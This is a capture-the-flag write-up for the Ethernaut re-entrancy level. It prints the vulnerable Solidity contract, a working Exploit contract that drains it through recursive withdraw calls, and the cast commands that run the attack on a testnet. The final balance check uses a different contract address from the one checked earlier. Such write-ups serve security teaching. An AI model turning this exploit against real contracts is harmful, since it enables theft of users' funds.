Re-entrancy - The Ethernaut - Writeup
The goal of this level is for you to steal all the funds from the contract.
And this is the contract’s code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
First of all, generate a new instance of the challenge:

Now we can interact with it. First, let’s check its balance:
cast from-wei $(cast balance 0x44fdDC4ad131c161c168Ec668D95F66927fe21d3 --rpc-url $SEPOLIA_RPC_URL)

It has 0.001 ether that we need to steal. When we call the withdraw function on the contract, it executes this line:
msg.sender.call{value: amount}("");
which, in case msg.sender is another contract, triggers its receive (or fallback) function. What if that function makes another call to the withdraw function? The balance of the address gets modified after the transfer, so it would still have that balance in the contract for the second call. We can use that vulnerability to drain the challenge’s funds:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Exploit {
uint256 total = 1000000000000000;
Reentrance target = Reentrance(payable(0x44fdDC4ad131c161c168Ec668D95F66927fe21d3));
function exploit() public {
target.donate{value: total/2}(address(this));
target.withdraw(total/2);
}
receive() external payable {
if (address(this).balance < total + total/2 && msg.sender == address(target)) {
Reentrance(payable(msg.sender)).withdraw(total/2);
}
}
}
We can now deploy the Exploit contract using forge:

Now, we send some ether to the contract:
cast send 0x611C5f29a6A8e5B96C407dca47B7825Bd27Fa33e --value 500000000000000 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
And we call the exploit() function:
cast send 0x611C5f29a6A8e5B96C407dca47B7825Bd27Fa33e "exploit()" --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
We can now confirm that the challenge contract does not have any ether remaining:
cast balance 0xc6fd7ba987A70422CF39542955cFE732fe4D0122 --rpc-url $SEPOLIA_RPC_URL

Challenge solved!
